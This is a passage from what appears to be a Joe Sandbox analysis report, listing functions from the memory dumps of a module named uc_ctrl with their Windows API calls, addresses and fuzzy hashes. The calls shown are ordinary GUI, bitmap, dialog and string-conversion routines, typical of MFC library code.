                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Rect$Monitor$ClientCopyFromInfoLongParent$MessagePointsSend
                                                                                              • String ID: (
                                                                                              • API String ID: 3610148278-3887548279
                                                                                              • Opcode ID: f23cded57e4a81865eb8aa1833cbd4040ffe4b029da75f8ab9b79866641bb0e7
                                                                                              • Instruction ID: c2fdca3aa4c814453eec694f58b092ea166416e3c8cd8d9f0b9bde196eea9803
                                                                                              • Opcode Fuzzy Hash: f23cded57e4a81865eb8aa1833cbd4040ffe4b029da75f8ab9b79866641bb0e7
                                                                                              • Instruction Fuzzy Hash: A7613772900209AFDF00DFA8DD88BEEBBB9FB49315F254259E915F7240DB34A905CB60
                                                                                              Function 6CFA2F0F Relevance: 28.7, APIs: 19, Instructions: 239windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CFA2F16
                                                                                              • CreateRectRgnIndirect.GDI32(?), ref: 6CFA2F50
                                                                                              • CopyRect.USER32(?,?), ref: 6CFA2F64
                                                                                              • InflateRect.USER32(?,?,?), ref: 6CFA2F7A
                                                                                              • IntersectRect.USER32(?,?,?), ref: 6CFA2F86
                                                                                              • CreateRectRgnIndirect.GDI32(?), ref: 6CFA2F90
                                                                                              • CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 6CFA2FA5
                                                                                              • CombineRgn.GDI32(?,?,?,00000003), ref: 6CFA2FBF
                                                                                              • CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 6CFA300B
                                                                                              • SetRectRgn.GDI32(?,?,00000004,?,?), ref: 6CFA3028
                                                                                              • CopyRect.USER32(?,?), ref: 6CFA3033
                                                                                              • InflateRect.USER32(?,?,?), ref: 6CFA3049
                                                                                              • IntersectRect.USER32(?,?,?), ref: 6CFA3055
                                                                                              • SetRectRgn.GDI32(?,?,?,?,?), ref: 6CFA306A
                                                                                              • CombineRgn.GDI32(?,?,?,00000003), ref: 6CFA307B
                                                                                              • CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 6CFA3092
                                                                                              • CombineRgn.GDI32(?,?,?,00000003), ref: 6CFA30AC
                                                                                                • Part of subcall function 6CFA326B: CreateBitmap.GDI32(00000008,00000008,00000001,00000001,00000000), ref: 6CFA32B2
                                                                                                • Part of subcall function 6CFA326B: CreatePatternBrush.GDI32(00000000), ref: 6CFA32BF
                                                                                                • Part of subcall function 6CFA326B: DeleteObject.GDI32(00000000), ref: 6CFA32CB
                                                                                              • PatBlt.GDI32(00000004,?,?,?,?,005A0049), ref: 6CFA3108
                                                                                              • PatBlt.GDI32(00000004,?,?,?,?,005A0049), ref: 6CFA3167
                                                                                                • Part of subcall function 6CF8FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBB9
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Rect$Create$Combine$CopyIndirectInflateIntersect$BitmapBrushDeleteException@8H_prolog3_ObjectPatternThrow
                                                                                              • String ID:
                                                                                              • API String ID: 1437591364-0
                                                                                              • Opcode ID: f3af9c5ef0aa93f6b54d85c021ce8ececb2a68768a16965f6319f50c90a888fb
                                                                                              • Instruction ID: d666c10136137c0ac7fe5f5c1db0c2ab2827e71783b655bfc552db8ceec9ae4c
                                                                                              • Opcode Fuzzy Hash: f3af9c5ef0aa93f6b54d85c021ce8ececb2a68768a16965f6319f50c90a888fb
                                                                                              • Instruction Fuzzy Hash: FD91CFB1D00218AFDF05DFE4D894EEEBBB9BF4D314B144129F906A3250DB34A905CB61
                                                                                              Function 6D032416 Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 359timewindowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • IsWindow.USER32(00000000), ref: 6D03242D
                                                                                              • GetCursorPos.USER32(00000000), ref: 6D03244B
                                                                                              • ScreenToClient.USER32(00000000,00000000), ref: 6D032458
                                                                                              • GetParent.USER32(?), ref: 6D032521
                                                                                              • SetTimer.USER32(00000000,0000EC18,FFFFFFFE,00000000), ref: 6D03257F
                                                                                              • InvalidateRect.USER32(00000000,00000054,00000001), ref: 6D03258E
                                                                                              • UpdateWindow.USER32(00000000), ref: 6D032597
                                                                                              • KillTimer.USER32(00000000,0000EC18,00000000,?,?,00000000), ref: 6D0325B2
                                                                                              • GetParent.USER32(?), ref: 6D032684
                                                                                              • GetParent.USER32(?), ref: 6D0326EC
                                                                                              • SendMessageW.USER32(?,0000011F,?,?), ref: 6D03276B
                                                                                              • KillTimer.USER32(0000EC18,0000EC18,?,?,00000000), ref: 6D0327A4
                                                                                              • __EH_prolog3.LIBCMT ref: 6D0327BC
                                                                                              • GetCursorPos.USER32(?), ref: 6D032885
                                                                                                • Part of subcall function 6D037892: __EH_prolog3.LIBCMT ref: 6D037899
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ParentTimer$CursorH_prolog3KillWindow$ClientInvalidateMessageRectScreenSendUpdate
                                                                                              • String ID: Control Panel\Desktop$MenuShowDelay
                                                                                              • API String ID: 3950007754-702829638
                                                                                              • Opcode ID: bd425e5d0b055ae64150374c0efec6f7bf70e79933481161318730c9e5b07cb3
                                                                                              • Instruction ID: bdaf8969335bd6f8e88b98de8fe9f2d0c7ec7b2219d8fff08282b237deb02c5f
                                                                                              • Opcode Fuzzy Hash: bd425e5d0b055ae64150374c0efec6f7bf70e79933481161318730c9e5b07cb3
                                                                                              • Instruction Fuzzy Hash: 31D18B71A002239FEF259F74C894BBE7BB5BF48714F1201ADED15AB291DB71A900CB91
                                                                                              Function 6CFC997F Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 268COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_
                                                                                              • String ID: (
                                                                                              • API String ID: 2427045233-3887548279
                                                                                              • Opcode ID: 1b14d1e141fd0c5c37cea771199d6cccb01f997fff7a91d753a1848f636d395b
                                                                                              • Instruction ID: fbbed3afb0691d89612454c683e49edf12c89bf5993b93525606f929289a659e
                                                                                              • Opcode Fuzzy Hash: 1b14d1e141fd0c5c37cea771199d6cccb01f997fff7a91d753a1848f636d395b
                                                                                              • Instruction Fuzzy Hash: 0FC13971A00269DAEB24DF65CC54BEEBBB5FF49304F0081EAE949A6651DB304A84CF61
                                                                                              Function 6CFA61F4 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 191COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetDlgItem.USER32(?,00003020), ref: 6CFA621C
                                                                                              • GetDlgItem.USER32(?,00003020), ref: 6CFA6247
                                                                                              • GetWindowRect.USER32(00000000,?), ref: 6CFA6262
                                                                                              • MapDialogRect.USER32(?,?), ref: 6CFA628A
                                                                                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,00000020,00000016), ref: 6CFA62B4
                                                                                              • GetDlgItem.USER32(?,00000001), ref: 6CFA62C5
                                                                                              • GetWindowRect.USER32(00000000,?), ref: 6CFA62D7
                                                                                              • SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000015,?), ref: 6CFA62FB
                                                                                              • GetWindowRect.USER32(?,?), ref: 6CFA6310
                                                                                              • GetWindowRect.USER32(?,?), ref: 6CFA6373
                                                                                              • GetDlgItem.USER32(?,00000001), ref: 6CFA638A
                                                                                              • GetWindowRect.USER32(00000000,?), ref: 6CFA6399
                                                                                              • GetDlgItem.USER32(?,00000001), ref: 6CFA63C2
                                                                                              • ShowWindow.USER32(00000000,00000000), ref: 6CFA63D1
                                                                                              • EnableWindow.USER32(00000000,00000000), ref: 6CFA63DA
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Rect$Item$DialogEnableShow
                                                                                              • String ID:
                                                                                              • API String ID: 763981185-3916222277
                                                                                              • Opcode ID: d4b8023d59c2bc4c495539eff61d0fbb1952462720e39f4a21df485f4773cd3d
                                                                                              • Instruction ID: a8f952559dccd7be6d2d74326b41cb7bf549d6ca0de17c5250485a12b59b87d8
                                                                                              • Opcode Fuzzy Hash: d4b8023d59c2bc4c495539eff61d0fbb1952462720e39f4a21df485f4773cd3d
                                                                                              • Instruction Fuzzy Hash: 2161FF71A00209AFEF11CFA9CD88AAFBBB9FF89714F200119F915E2651DB749941CB61
                                                                                              Function 6CEE0B30 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 259COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEE0B5E
                                                                                              • __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEE0B74
                                                                                              • GetCPInfo.KERNEL32(?,?), ref: 6CEE0BC6
                                                                                              • MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 6CEE0C4F
                                                                                              • __alloca_probe_16.LIBCMT ref: 6CEE0C87
                                                                                              • _malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CEE0CA5
                                                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6CEE0CD4
                                                                                              • MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 6CEE0CEF
                                                                                              • __alloca_probe_16.LIBCMT ref: 6CEE0D27
                                                                                              • _malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CEE0D41
                                                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6CEE0D68
                                                                                              • __crtCompareStringEx.MSVCP140(?,?,00000000,?,00000000,?), ref: 6CEE0D80
                                                                                              • _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6CEE0D9B
                                                                                              • _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6CEE0DB5
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ByteCharMultiWide$__alloca_probe_16__strncnt_free_base_malloc_base$CompareInfoString__crt
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3184420440-738913995
                                                                                              • Opcode ID: 563f7b632b517b18e1b140e6b82f88e1a1f5bf5607ba1e5c65c49db52ef1a50d
                                                                                              • Instruction ID: fe08d2717afafa628c33972796e3c2a804301787d9a7aa101c23e61e5a5905d9
                                                                                              • Opcode Fuzzy Hash: 563f7b632b517b18e1b140e6b82f88e1a1f5bf5607ba1e5c65c49db52ef1a50d
                                                                                              • Instruction Fuzzy Hash: 7E811772E112969BDF119E64CC80BEE7BB5AF0D39CF340659E854E6680EF35D840DB90
                                                                                              Function 6CEE0E50 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 214COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6CEE0E6E
                                                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?), ref: 6CEE0E9A
                                                                                              • __alloca_probe_16.LIBCMT ref: 6CEE0ED2
                                                                                              • _malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CEE0EF3
                                                                                              • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?), ref: 6CEE0F2F
                                                                                              • __crtLCMapStringEx.MSVCP140(?,?,00000000,?,00000000,00000000), ref: 6CEE0F49
                                                                                              • __crtLCMapStringEx.MSVCP140(?,00000400,00000000,00000400,?,?), ref: 6CEE0F85
                                                                                              • __alloca_probe_16.LIBCMT ref: 6CEE0FB9
                                                                                              • _malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CEE0FD3
                                                                                              • __crtLCMapStringEx.MSVCP140(?,00000400,?,00000400,00000000,00000000), ref: 6CEE0FFF
                                                                                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6CEE101A
                                                                                              • _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6CEE1032
                                                                                              • _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6CEE1055
                                                                                              • _free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEE1071
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ByteCharMultiStringWide__crt_free_base$__alloca_probe_16_malloc_base$__strncnt
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 580233248-738913995
                                                                                              • Opcode ID: 869ceecc1c857bd9f6484c1110332767ac44c961a79e5984480fd045bde23ed8
                                                                                              • Instruction ID: 4a0adbb1a9e7a4f1ae808cc2cd34905e932e2d2139892ff1827698ad08510b03
                                                                                              • Opcode Fuzzy Hash: 869ceecc1c857bd9f6484c1110332767ac44c961a79e5984480fd045bde23ed8
                                                                                              • Instruction Fuzzy Hash: 9E614D72B10246EFDF204FE4CC80E9E7BB9EF49398B204629F914D6691DB35C894E790
                                                                                              Function 6CF9BC0A Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 151COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF9BC14
                                                                                                • Part of subcall function 6CF8EA42: __EH_prolog3.LIBCMT ref: 6CF8EA5A
                                                                                              • CallNextHookEx.USER32(?,?,?,?), ref: 6CF9BC53
                                                                                                • Part of subcall function 6CF8FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBB9
                                                                                              • GetClassNameW.USER32(?,?,00000100), ref: 6CF9BCF0
                                                                                              • GetClassLongW.USER32(?,000000E0), ref: 6CF9BD16
                                                                                              • GetWindowLongW.USER32(?,000000FC), ref: 6CF9BD2F
                                                                                              • GetPropW.USER32(?,AfxOldWndProc423), ref: 6CF9BD45
                                                                                              • SetPropW.USER32(?,AfxOldWndProc423,00000000), ref: 6CF9BD5A
                                                                                              • GetPropW.USER32(?,AfxOldWndProc423), ref: 6CF9BD66
                                                                                              • GlobalAddAtomW.KERNEL32(AfxOldWndProc423), ref: 6CF9BD79
                                                                                              • SetWindowLongW.USER32(?,000000FC,Function_0003BAA3), ref: 6CF9BD87
                                                                                                • Part of subcall function 6CF9D267: GetClassInfoExW.USER32(?,?,?), ref: 6CF9D29E
                                                                                              • SetWindowLongW.USER32(?,000000FC,6CF9749C), ref: 6CF9BDE4
                                                                                              • CallNextHookEx.USER32(?,00000003,?,?), ref: 6CF9BE0E
                                                                                              • UnhookWindowsHookEx.USER32(?), ref: 6CF9BE22
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Long$ClassHookPropWindow$CallNext$AtomException@8GlobalH_prolog3H_prolog3_InfoNameThrowUnhookWindows
                                                                                              • String ID: #32768$AfxOldWndProc423
                                                                                              • API String ID: 149436623-2141921550
                                                                                              • Opcode ID: 6582d61f2988fbf64d7554a33a11231600b3f59ccfff67a8b7182626cafe9c43
                                                                                              • Instruction ID: 70891fc4ddc6ca18e37be4eabbd6707ff95aebbc867afedeefdb4678dcc13597
                                                                                              • Opcode Fuzzy Hash: 6582d61f2988fbf64d7554a33a11231600b3f59ccfff67a8b7182626cafe9c43
                                                                                              • Instruction Fuzzy Hash: 0E510770904225ABEF21AF64DC48FEE7BB5EF49724F2005D5E904A7690DB309E41CF92
                                                                                              Function 6CF95588 Relevance: 24.2, APIs: 16, Instructions: 233windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF9558F
                                                                                              • CreateCompatibleDC.GDI32(00000000), ref: 6CF955E1
                                                                                              • CreateCompatibleDC.GDI32(00000000), ref: 6CF955F9
                                                                                              • CreateCompatibleDC.GDI32(00000000), ref: 6CF95611
                                                                                              • GetObjectW.GDI32(00000004,00000018,?), ref: 6CF95631
                                                                                              • CreateBitmap.GDI32(?,?,?,?,00000000), ref: 6CF95657
                                                                                              • CreateBitmap.GDI32(00000008,00000008,00000001,00000001,6D0F6518), ref: 6CF9567A
                                                                                              • CreatePatternBrush.GDI32(?), ref: 6CF9568C
                                                                                                • Part of subcall function 6CF95CD2: DeleteObject.GDI32(00000000), ref: 6CF95CE1
                                                                                              • CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 6CF956AE
                                                                                                • Part of subcall function 6CF96249: SelectObject.GDI32(0000005C,?), ref: 6CF96252
                                                                                              • GetPixel.GDI32(?,00000000,00000000), ref: 6CF956F3
                                                                                                • Part of subcall function 6CF96355: SetBkColor.GDI32(?,?), ref: 6CF9636A
                                                                                                • Part of subcall function 6CF96355: SetBkColor.GDI32(?,?), ref: 6CF9637C
                                                                                              • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 6CF95719
                                                                                              • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00EE0086), ref: 6CF95741
                                                                                              • FillRect.USER32(?,?,?), ref: 6CF957A3
                                                                                              • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 6CF957D1
                                                                                              • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,008800C6), ref: 6CF957EC
                                                                                              • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 6CF95803
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Create$BitmapCompatibleObject$Color$BrushDeleteFillH_prolog3_PatternPixelRectSelect
                                                                                              • String ID:
                                                                                              • API String ID: 1818846147-0
                                                                                              • Opcode ID: 1bde7ca98fffbca5f010244a3b99606cd1282d8ff87befea8f0dbd6e8fc236de
                                                                                              • Instruction ID: 2c1f47bd8778bb9296fe07790cd119591e1e83cdffcd12f423252c6cd1af0848
                                                                                              • Opcode Fuzzy Hash: 1bde7ca98fffbca5f010244a3b99606cd1282d8ff87befea8f0dbd6e8fc236de
                                                                                              • Instruction Fuzzy Hash: CC91EEB1C01208AFEF019FE1DD84AEEBB79FF09354F240129FA05A6660DB315E55DB61
                                                                                              Function 6CFCA58A Relevance: 24.2, APIs: 16, Instructions: 158windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CFCA591
                                                                                              • CreateCompatibleDC.GDI32(00000000), ref: 6CFCA5BE
                                                                                              • GetObjectW.GDI32(?,00000018,?), ref: 6CFCA5D7
                                                                                              • SelectObject.GDI32(?,?), ref: 6CFCA5EF
                                                                                              • CreateCompatibleBitmap.GDI32(?,0000000F,00000010), ref: 6CFCA61A
                                                                                              • SelectObject.GDI32(?,00000000), ref: 6CFCA62B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
